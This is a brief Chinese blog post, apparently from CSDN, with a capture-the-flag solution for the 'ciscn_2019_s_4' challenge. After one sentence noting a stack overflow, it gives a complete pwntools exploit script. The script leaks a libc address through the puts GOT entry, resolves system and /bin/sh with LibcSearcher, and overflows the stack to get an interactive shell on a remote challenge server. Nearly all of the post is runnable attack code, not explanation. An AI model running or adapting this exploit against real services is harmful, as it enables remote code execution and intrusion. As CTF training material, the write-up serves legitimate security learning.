ciscn_2019_s_4

可以看到有栈溢出的漏洞能过控制执行流
exp:

#!/usr/bin/python2
from pwn import *
from LibcSearcher import *
local=0
if local==1:
    p=process('./ciscn_s_4')
    elf=ELF('./ciscn_s_4')
    #libc=elf.libc
else:
    p=remote('node3.buuoj.cn',26963)
    elf=ELF('./ciscn_s_4')
    #libc=elf.libc
lg=lambda address,data:log.success('%s: '+hex(data))

def exp():
    main=0x080485FF
    put=0x804861D
    payload='a'*0x20+p32(elf.got['puts'])+'bbbb'*2+p32(main)
    p.recvuntil('name?')
    p.send(payload)
    p.recvuntil('Hello, ')
    p.recvuntil('\n')
    p.send(payload)
    payload='a'*0x28+'cccc'+p32(put)
    p.recvuntil('name?')
    p.send(payload)
    p.recvuntil('Hello, ')
    p.recvuntil('\n')
    p.send(payload)
    p.recvuntil('\x0a')
    puts=u32(p.recvuntil('\xf7')[-4:])
    libc=LibcSearcher('puts',puts)
    libcbase=puts-libc.dump('puts')
    lg('libcbase',libcbase)
    system=libcbase+libc.dump('system')
    bin_sh=libcbase+libc.dump('str_bin_sh')
    one_gadget=libcbase+0x3d0d5
    payload='a'*0x20+p32(bin_sh)+'bbbb'*2+p32(main)
    sleep(1)
    p.send(payload)
    p.recvuntil('Hello, ')
    p.recvuntil('\n')
    p.send(payload)
    p.recvuntil('name?')
    payload='a'*0x28+p32(0)+p32(0x08048559)
    p.send(payload)
    p.recvuntil('Hello, ')
    p.recvuntil('\n')
    p.send(payload)
    p.interactive()
if __name__=="__main__":
    exp()
发布了74 篇原创文章 · 获赞 9 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_37433000/article/details/104087911
今日推荐